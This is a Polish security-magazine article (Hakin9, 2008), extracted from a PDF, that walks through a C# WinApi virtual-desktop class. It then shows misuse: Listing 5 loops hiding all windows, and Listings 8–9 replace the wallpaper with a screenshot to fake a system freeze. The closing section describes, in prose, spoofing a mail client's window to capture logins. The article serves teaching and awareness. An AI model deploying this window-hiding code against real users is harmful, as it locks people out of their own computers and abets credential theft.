2008 07 Wirtualny pulpit Windows

background image

14

POCZĄTKI

HAKIN9 7-8/2008

W

irtualny pulpit jest mechanizmem
dość powszechnie stosowanym w
wielu dystrybucjach systemu Linux.

Używając go mamy wrażenie, jakbyśmy
dysponowali kilkoma pulpitami. Dzięki temu
możemy podzielić aplikacje na grupy i w razie
potrzeby przełączać się między nimi. W ten
sposób łatwo możemy zarządzać oknami.
Zasada działania wirtualnych pulpitów jest dość
prosta.

Poszukujemy wszystkich widocznych

okien na pulpicie, zapamiętując ich położenie
oraz wymiary, a następnie ukrywamy je. W
ten sposób powstaje nowy wirtualny pulpit,
na którym możemy swobodnie pracować.
Gdy zechcemy powrócić do poprzedniego
pulpitu, chowamy bieżące okna, zapamiętując
ich wymiary i położenie, a przywracamy
widoczność okien wcześniej ukrytych. Na takiej
zasadzie przełączamy się między wirtualnymi
pulpitami.

Cała trudność polega na znalezieniu

sposobu zarządzania oknami pulpitu jako
jednym obiektem. Z pomocą przychodzi nam
WinApi.

Artykuł ten ma na celu zilustrowanie

mechanizmu wirtualnych pulpitów jako
metody polepszającej komfort pracy z
systemem Windows, a także pokazanie, jak
łatwo użyteczną technikę można wykorzystać
w sposób szkodliwy. Projekt zrealizujemy
pod platformą .NET. Do napisania kodu

MACIEJ PAKULSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jak działają wirtualne pulpity,

jak zarządzać oknami w

Windows.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy projektowania

zorientowanego obiektowo.

wykorzystamy darmowe środowisko Visual C#
2008 Expres Edition.

Klasa

obsługująca wirtualny pulpit

Tworzymy nowy projekt i nadajemy mu
odpowiednią nazwę. Dodajemy klasę, która
będzie reprezentować wirtualny pulpit. Zaczniemy
od importu niezbędnych funkcji WinApi. Ilustruje
to kod z Listingu 1.

Aby móc skorzystać z

DllImport

,

musimy najpierw dodać przestrzeń nazw

System.Runtime.InteropServices

. Działanie

poszczególnych zaimportowanych funkcji jest
następujące:

GetDesktopWindow

– funkcję

wykorzystujemy do uzyskania uchwytu do
pulpitu,

GetTopWindow

– funkcja zwraca uchwyt do

okna będącego najwyżej w porządku osi z
(ang. z order). Jako parametr przekazujemy
uchwyt do okna będącego oknem
nadrzędnym (ang. parent window) w stosunku
do poszukiwanego okna,

GetWindow

– funkcja zwraca uchwyt

do okna, które jest w specjalnej relacji
z wybranym oknem. Pierwszy parametr
określa relację między oknami, drugi
parametr to uchwyt do okna, z którym
poszukiwane okno jest w relacji określonej
pierwszym parametrem,

Stopień trudności

Wirtualny

pulpit

Windows

Współczesne systemy operacyjne umożliwiają uruchomienie

wielu programów jednocześnie, co może powodować problem

organizacji okien na pulpicie. Rozwiązaniem tego problemu może

być użycie wirtualnych pulpitów, choć mechanizm ten może także

tworzyć podstawę do działania złośliwego oprogramowania.

background image

15

WIRTUALNY PULPIT WINDOWS

HAKIN9

7-8/2008

IsWindowVisible

– funkcja

sprawdza, czy okno jest widoczne
(czy ma ustawiony styl okna WS_
VISIBLE),

FindWindowEx

– funkcja zwraca

uchwyt do okna. Pierwszy parametr
to uchwyt do okna będącego
oknem nadrzędnym w stosunku do
poszukiwanego okna, drugi parametr
określa uchwyt okna, od którego
rozpocznie się przeszukiwanie w
porządku osi z, trzeci parametr określa
nazwę klasy okna, a czwarty jest
nazwą okna,

BeginDeferWindowPos

– przydziela

pamięć dla struktury opisującej
położenie okien, których liczba jest
przekazywana jako parametr. Funkcja
zwraca uchwyt do struktury,

DeferWindowPos

– funkcja zmienia

atrybuty okna (takie, jak położenie,
rozmiar, widoczność), jako parametry
przyjmuje ona kolejno:
• uchwyt do struktury

opisującej okna uzyskiwany
przy pomocy wywołania

BeginDeferWindowPos

,

• uchwyt do okna, którego atrybuty

chcemy zmienić,

• uchwyt do okna, które poprzedza

konkretne okno w porządku osi z.
Możliwe jest także zastosowanie
stałej, która będzie określać
położenie okna względem innych,

• współrzędna x lewego górnego

rogu okna,

• współrzędna y lewego górnego

rogu okna,

• szerokość okna w pikselach,
• wysokość okna w pikselach,
• flagi.

Wywołanie

DeferWindowPos

powoduje

zaktualizowanie struktury będącej
pierwszym parametrem funkcji, dzięki
czemu zawiera ona informacje o oknie,
którego uchwyt przekazujemy jako drugi
parametr.

Funkcja zwraca uchwyt do

zaktualizowanej struktury.

EndDeferWindowPos

– wywołanie

funkcji powoduje jednoczesną zmianę
atrybutów okien, określonych przez
strukturę, której uchwyt przekazujemy
jako parametr.

Kolejnym krokiem będzie zdefiniowanie
stałych, których użyjemy przy wywołaniu
funkcji WinApi. Dodajemy do naszego
programu kod z Listingu 2. Stałe są
wykorzystywane w następujący sposób:

GW _ HWNDNEXT

– wywołując funkcję

GetWindow

z tym parametrem

uzyskujemy uchwyt do okna, które leży
poniżej wybranego okna, w porządku
osi z,

SWP _ NOZORDER

– stała

wykorzystywana jako ósmy parametr
funkcji

DeferWindowPos

, określa

brak zmiany kolejności okien
(parametr

hWndInsertAfter

jest

ignorowany),

SWP _ HIDEWINDOW

– ósmy parametr

funkcji

DeferWindowPos

, określa

ukrycie okna,

SWP _ SHOWWINDOW

– ósmy parametr

funkcji

DeferWindowPos

, określa

pokazanie okna,

SWP _ NOACTIVE

– ósmy parametr

funkcji

DeferWindowPos

, określa brak

aktywacji okna,

SWP _ NOSIZE

– ósmy parametr funkcji

DeferWindowPos

, określa brak zmiany

rozmiaru okna (parametry cx i cy są
ignorowane),

SWP _ NOMOVE

– ósmy parametr

funkcji

DeferWindowPos

, brak zmiany

położenia okna (parametry x i y są
ignorowane).

Rysunek 1.

Wirtualne pulpity Windows

Listing 1.

Funkcje WinApi

[

DllImport

(

"user32.dll"

)]

public

static

extern

IntPtr

GetDesktopWindow

();

[

DllImport

(

"user32.dll"

)]

public

static

extern

IntPtr

GetTopWindow

(

IntPtr

hwnd

);

[

DllImport

(

"user32.dll"

)]

public

static

extern

IntPtr

GetWindow

(

IntPtr

hwnd

,

int

cmd

);

[

DllImport

(

"user32.dll"

)]

public

static

extern

bool

IsWindowVisible

(

IntPtr

hwnd

);

[

DllImport

(

"user32"

)]

public

static

extern

IntPtr

FindWindowEx

(

IntPtr

parent

,

IntPtr

childAfter

,

string

szClass

,

string

szWindow

);

[

DllImport

(

"user32"

)]

public

static

extern

IntPtr

BeginDeferWindowPos

(

int

nNumWindows

);

[

DllImport

(

"user32"

)]

public

static

extern

IntPtr

DeferWindowPos

(

IntPtr

hWinPosInfo

,

IntPtr

hwnd

,

int

hWndInsertAfter

,

int

x

,

int

y

,

int

cx

,

int

cy

,

int

wFlags

);

[

DllImport

(

"user32"

)]

public

static

extern

int

EndDeferWindowPos

(

IntPtr

hWinPosInfo

);

background image

16

POCZATKI

HAKIN9 7-8/2008

WIRTUALNY PULPIT WINDOWS

17

HAKIN9

7-8/2008

Następną czynnością jest zadeklarowanie
pól naszej klasy. Pora na kod
zaprezentowany na Listingu 3.

Pola

hwndTab

użyjemy do

przechowania uchwytów okien,
które tworzą nasz wirtualny pulpit.

Zadeklarowana tablica ma stały wmiar,
tak więc jeżeli liczba okien przekroczy
1024, nie będziemy mogli ich obsłużyć.
Aby temu zapobiec, możemy np.
wykorzystać kontener

List

. Jednakże

prawdopodobieństwo, że będziemy
obsługiwali więcej niż 1024 okna jest
małe, tak więc skorzystamy z tablicy. Pole

counter

będzie licznikiem okien, które

obsługujemy.

Jesteśmy teraz gotowi do

zaimplemetowania metod, które będą
odowiedzialne za obsługę wirtualnego
pulpitu. Dodajemy kod z Listingu 4.

Zadaniem metody

Hide

jest

schowanie okien bieżącego pulpitu. Na
początku uzyskujemy uchwyt do pulpitu,
wywołując

GetDesktopWindow

. Następie

wywołujemy funkcję

GetTopWindow

,

dzięki czemu będziemy znać uchwyt okna
będącego najwyżej w porządku osi z.

Używając funkcji

FindWindowEx

,

uzyskujemy uchwyty odpowiedno do
paska zadań (ang. task bar), a także
pulpitu (pulpit oznacza w tym momencie
ikony takie, jak Mój Komputer itp.).
Następnie przy wykorzystaniu pętli

do

.. while

przeszukujemy okna pulpitu.

Kryteria poszukiwania zawężamy do
okien widocznych i nie będących oknami
paska zadań oraz pulpitu.

Dodatkowo, jeżeli aplikacja

obsługująca wirtualne pulpity jest
widoczna, powinniśmy ją także
pominąć podczas operacji zmiany
atrybutu widoczności okien (parametr

appHandle

).

Dysponując tablicą uchwytów do

widocznych okien pulpitu, możemy
zmienić ich wybrane atrybuty. Dzięki
wywołaniu funkcji

BeginDeferWindowPos

tworzymy strukturę opisującą okna.
Używając pętli

for

zmieniamy atrybuty

wybranych okien – ponieważ chcemy
schować okna, ustawiamy flagę

SWP _

HIDEWINDOW

. Zmian dodokonujemy

wyołując funkcję

EndDeferWindowPos

.

Uzyskujemy w ten sposób nowy, wirtualny
pulpit.

Metody

Show

używamy, jeżeli

utworzyliśmy wcześniej wirtualny pulpit,
na który właśnie chcemy się przełączyć.
Tworzy ona strukturę opisującą okna, a
następnie zmienia kolejno artybuty okien
wirtualnego pulpitu, jaki zamierzamy
uaktywnić.

Listing 2.

Stałe klasy

private

int

GW_HWNDNEXT

=

2

;

private

int

SWP_NOZORDER

=

4

;

private

int

SWP_HIDEWINDOW

=

128

;

private

int

SWP_SHOWWINDOW

=

64

;

private

int

SWP_NOACTIVATE

=

16

;

private

int

SWP_NOSIZE

=

1

;

private

int

SWP_NOMOVE

=

2

;

Listing 3.

Pola klasy

private

IntPtr

[]

hwndTab

=

new

IntPtr

[

1024

];

private

int

counter

=

0

;

Listing 4.

Metody klasy

public

void

Hide

(

IntPtr

appHandle

)

{

IntPtr

deskWin

=

GetDesktopWindow

();

IntPtr

win

=

GetTopWindow

(

deskWin

);

if

(

win

==

IntPtr

.

Zero

)

return

;

IntPtr

hTask

=

FindWindowEx

(

IntPtr

.

Zero

,

IntPtr

.

Zero

,

"Shell_TrayWnd"

,

null

);

IntPtr

des

=

FindWindowEx

(

IntPtr

.

Zero

,

IntPtr

.

Zero

,

"Progman"

,

null

);

counter

=

0

;

do

{

if

(

IsWindowVisible

(

win

)

&&

win

!=

hTask

&&

win

!=

deskWin

&&

win

!=

des

&&

win

!=

appHandle

)

{

hwndTab

[

counter

++]

=

win

;

}

}

while

((

win

=

GetWindow

(

win

,

GW_HWNDNEXT

))

!=

IntPtr

.

Zero

);

IntPtr

s

=

BeginDeferWindowPos

(

counter

);

for

(

int

i

=

0

;

i

<

counter

;

i

++)

{

s

=

DeferWindowPos

(

s

,

hwndTab

[

i

]

,

0

,

0

,

0

,

0

,

0

,

SWP_HIDEWINDOW

|

SWP_NOMOVE

|

SWP_NOSIZE

|

SWP_NOZORDER

|

SWP_

NOACTIVATE

);

}

EndDeferWindowPos

(

s

);

}

public

void

Show

()

{

IntPtr

s

=

BeginDeferWindowPos

(

counter

);

for

(

int

i

=

0

;

i

<

counter

;

i

++)

{

s

=

DeferWindowPos

(

s

,

hwndTab

[

i

]

,

0

,

0

,

0

,

0

,

0

,

SWP_SHOWWINDOW

|

SWP_NOMOVE

|

SWP_NOSIZE

|

SWP_NOZORDER

);

}

EndDeferWindowPos

(

s

);

}

background image

16

POCZATKI

HAKIN9 7-8/2008

WIRTUALNY PULPIT WINDOWS

17

HAKIN9

7-8/2008

Ponieważ chcemy teraz, aby wybrane

okna były ponownie widoczne, tym razem
włączamy flagę

SWP _ SHOWWINDOW

.

Zmian dokonujemy przy pomocy
wywołania funkcji

EndDeferWindowPos

.

Wirtualny pulpit

jako zagrożenie

Stworzona przez nas klasa jest
implementacją wirtualnego pulpitu w
systemie Windows.

Jednakże możemy ją zastosować

także w innym celu. Zastosowanie tylko
funkcji chowającej, działającej w pętli
(Listing 5), uniemożliwi nam pracę z
jakąkolwiek alikacją – po prostu nie
będziemy widzieli okien.

Dodatkowo zauważmy, że

przeszukując okna na pulpicie, na liście
wyjątków nie uwzględniamy menadżera
zadań – jego też nie będziemy w stanie
wywołać.

Możemy się także pokusić o napisanie

aplikacji, która będzie imitować awarię
systemu poprzez brak odpowiedzi na
komendy użytkownika. Zasada działania
jest dość prosta. Robimy zrzut ekranu
i zapisujemy go do pliku, następnie
ukrywamy wszystkie okna – włącznie z
paskiem zadań oraz ikonami na pulpicie,
a na koniec zmieniamy tapetę na obraz
przedstawiający zrzut ekranu.

Ponieważ obraz ekranu był zapisany

przed schowaniem wszystkich okien,
są one na nim widoczne. W ten sposób
wygląd pulpitu użytkownika nie uległ
zmianie, lecz jego funkcjonalność jest
zablokowana.

Implementacja powyższego

mechanizmu wymaga drobnych zmian
klasy wirtualnego pulpitu. Na początek
będziemy potrzebować funkcji, za
pomocą której zmienimy tapetę pulpitu.
W tym celu wykorzystamy funkcję

SystemParametersInfo

. W sekcji

importu funkcji

WinApi

dodajemy kod

zawarty na Listingu 6.

Zadaniem funkcji

SystemParametersInfo

jest zmiana

bądź odczytanie wybranych ustawień
systemowych.

Przyjmuje ona następujące

parametry:

uAction

– kod czynności, którą

chcemy wykonać,

uParam

– znaczenie tego parametru

jest zależne od pierwszego
parametru,

lpvParam

– znaczenie tego parametru

jest także zależne od pierwszego
parametru,

uWinIni

– określa czynności, jakie

zostaną wykonane po dokonaniu zmian
ustawień systemowych.

Kolejnym krokiem jest zdefiniowanie
stałych, których użyjemy, wywołując
funkcję

SystemParametersInfo

. W

sekcji definicji stałych klasy dopisujemy
kod z Listingu 7.

Wywołanie funkcji

SystemParametersInfo

ze stałą

SPI _

SETDESKWALLPAPER

powoduje zmianę

tapety pulpitu.

Ścieżkę do pliku zawierającego

obraz nowej tapety podajemy jako trzeci

parametr funkcji. W systemach Windows
Server 2003 oraz Windows XP/2000 plik z
obrazem nie może być w formacie JPEG.
Przy definicji czwartego parametru funkcji
używamy stałych

SPIF _ UPDATEINIFILE

i

SPIF _ SENDWININICHANGE

. Oznaczają

one odpowiednio aktualizację profilu
użytkownika oraz wygenerowanie
komunikatu

WM _ SETTINGCHANGE

.

Przejdźmy do napisania metody,

która będzie zamieniać tapetę pulpitu na
wcześniej wykonany zrzut ekranu. Kod
metody jest przedstawiony na Listingu 8.

Na początku dodajemy

przestrzenie nazw

System.Drawing

,

System.Windows.Forms

, a także

System.Drawing.Imaging

.

Metoda rozpoczyna działanie od

stworzenia obiektu klasy

Bitmap

,

reprezentującego zrzut ekranu
Przeciążony konstruktor tej klasy pobiera

Listing 5.

Jak nie należy używać wirtualnych pulpitów – prosty przykład

while

(

true

)

{

(

new

VirtualPulpit

())

.

Hide

(

this

.

Handle

);

Thread

.

Sleep

(

100

);

}

Listing 6.

Funkcja SystemParametersInfo

[

DllImport

(

"user32.dll"

)]

public

static

extern

int

SystemParametersInfo

(

int

uAction

,

int

uParam

,

string

lpvParam

,

int

fuWinIni

);

Listing 7.

Stałe wykorzystywane przy zmianie tapety pulpitu

private

int

SPI_SETDESKWALLPAPER

=

20

;

private

int

SPIF_UPDATEINIFILE

=

1

;

private

int

SPIF_SENDWININICHANGE

=

2

;

Listing 8.

Metoda zamieniająca tapetę pulpitu na zrzut ekranu

private

void

ChangeWallPaperToScreenShot

(

string

bmpPath

)

{

Bitmap

bitmap

=

new

Bitmap

(

Screen

.

PrimaryScreen

.

Bounds

.

Width

,

Screen

.

PrimaryScreen

.

Bounds

.

Height

,

PixelFormat

.

Format32bppArgb

);

Graphics

screenshot

=

Graphics

.

FromImage

(

bitmap

);

screenshot

.

CopyFromScreen

(

Screen

.

PrimaryScreen

.

Bounds

.

X

,

Screen

.

PrimaryScreen

.

Bounds

.

Y

,

0

,

0

,

Screen

.

PrimaryScreen

.

Bounds

.

Size

,

CopyPixelOperation

.

SourceCopy

);

bitmap

.

Save

(

bmpPath

,

ImageFormat

.

Bmp

);

SystemParametersInfo

(

SPI_SETDESKWALLPAPER

,

0

,

bmpPath

,

SPIF_UPDATEINIFILE

|

SPIF_SENDWININICHANGE

);

}

background image

18

POCZATKI

HAKIN9 7-8/2008

dwa parametry: szerokość i wysokość
obrazu.

Ponieważ zapisujemy cały obraz

na monitorze, wykorzystujemy klasę

Screen

w celu odczytania wysokości i

szerokości ekranu monitora. Zrzut ekranu
tworzony jest poprzez wywołanie metody

CopyFromScreen

klasy

Graphics

. Kopiuje

ona piksele z określonego fragmentu
ekranu do instancji klasy

Graphics

.

Metoda ta przyjmuje następujące

parametry:

• współrzędną x punktu początkowego,
• współrzędną y punktu początkowego,
• współrzędną x punktu końcowego,

• współrzędną y punktu końcowego,
• rozmiar obszaru do przekopiowania,
• obiekt klasy

CopyPixelOperation

,

odpowiadający za sposób
przedstawiania kolorów.

Obraz zapisujemy w wybranym miejscu,
używając formatu BMP. Na koniec
zamieniamy tapetę pulpitu na wcześniej
utworzony zrzut ekranu.

Ostatnią czynnością jest – pokazana

na Listingu 9 – drobna modyfikacja
metody

Hide

.

Istotną zmianą jest wywołanie na

początku metody

ChangeWallPaperToS

creenShot

. Dodatkowo usunęliśmy kod,

który dodaje okna aplikacji, paska zadań
oraz pulpitu (rozumianego jako ikony)
do listy wyjątków podczas wyszukiwania
widocznych okien.

Uruchamiając aplikację, która

wywołuje metodę

Hide

, zauważymy, że

nasz pulpit nie odpowiada na wydawane
przez nas komendy. Istnieje jednak
możliwość otworzenia pewnych okien,
np. poprzez specjalne kombinacje
klawiszy. Aby temu zapobiec, możemy
wykorzystać wcześniejszą wersję metody

Hide

(Listing 4) w sposób przedstawiony

na Listingu 5.

Podsumowanie

Celem artykułu było zaprezentowanie
techniki wirtualnych pulpitów.
Wykorzystując ten mechanizm jesteśmy
w stanie w sposób swobodny zarządzać
oknami uruchomionych apikacji, dzięki
czemu praca z systemem Windows staje
się wygodniejsza.

Jednakże omówioną technikę można

wykorzystać do pisania róznego rodzaju
robaków, które zamiast pomagać
użytkownikowi – powodują szkody w jego
systemie.

Będąc w stanie kontrolować pozycję,

rozmiar oraz widoczność okien, jesteśmy
w stanie podmienić wybrane okna. Pisząc
program, wyglądający identycznie jak
np. menadżer poczty e-mail, możemy
bardzo szybko zamienić oryginalne okno
aplikacji na specjalnie przygotowaną
przez nas kopię. Użytkownik,
nieświadomy zagrożenia, wprowadza
swój login i hasło, które zamiast trafić
do menadżera poczty, są przez nas
przechwytywane. Jeżeli dodatkowo,
przywrócimy widoczność oryginalnego
okna aplikacji, wygenerujemy komunikat
o drobnym błędzie z prośbą powtórnego
wpisania loginu i hasła, to istnieje
duże prawdopodobieństwo, że dane
użytkownika zostaną wykradzione w
sposób niezauważalny.

Maciej Pakulski

Absolwent studiów inżynierskich oraz aktywny członek

koła naukowego .NET Wydziału Fizyki, Astronomii i

Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika

w Toruniu. Obecnie na studiach magisterskich.

Programowaniem zajmuje się od 2004. Potrafi

programować biegle w językach C/C++, Java, VHDL.

Programowaniem w języku C# i platformą .NET zajmuje

się od 2006 roku. Jest autorem szeregu publikacji z

zakresu programowania oraz bezpieczeństwa IT.

Kontakt z autorem: mac_pak@interia.pl

W Sieci

http://www.microsoft.com/express/download – witryna Microsoft, z której można pobrać

środowisko Visual C# 2008 Express Edition,

http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy

.NET i nie tylko. Naprawdę godny polecenia,

http://www.codeguru.pl – polska strona dla programistów .NET,
http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich

klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi
programami.

Listing 9.

Zmodyfikowana metoda Hide

public

void

Hide

()

{

ChangeWallPaperToScreenShot

(

@

"C:

\w

allPaper"

);

IntPtr

deskWin

=

GetDesktopWindow

();

IntPtr

win

=

GetTopWindow

(

deskWin

);

if

(

win

==

IntPtr

.

Zero

)

return

;

counter

=

0

;

do

{

if

(

IsWindowVisible

(

win

)

&&

win

!=

deskWin

)

{

hwndTab

[

counter

++]

=

win

;

}

}

while

((

win

=

GetWindow

(

win

,

GW_HWNDNEXT

))

!=

IntPtr

.

Zero

);

IntPtr

s

=

BeginDeferWindowPos

(

counter

);

for

(

int

i

=

0

;

i

<

counter

;

i

++)

{

s

=

DeferWindowPos

(

s

,

hwndTab

[

i

]

,

0

,

0

,

0

,

0

,

0

,

SWP_HIDEWINDOW

|

SWP_NOMOVE

|

SWP_NOSIZE

|

SWP_NOZORDER

|

SWP_

NOACTIVATE

);

}

EndDeferWindowPos

(

s

);

}


Wyszukiwarka

Podobne podstrony:
Hard Rock Cafe 2008 07
PiKI 2008 07 08
LM 2008 07
2008 07 08 Superkaramba [Poczatkujacy]
Elektronika dla wszystkich 2008 07
2008 07 08 Bezpieczeństwo sieci Wi Fi [Bezpieczenstwo]
PP 2008 07
2008 07 09 rozp w sprawie ogolnych przepisow Bhp
Hard Rock Cafe 2008 07
Wirtualne pulpity
Microsoft Visual C 2008 Tworzenie aplikacji dla Windows vc28aw
2008 07 31 Gretkowska na Woodstock
laboratorium artykul 2008 07 19601

więcej podobnych podstron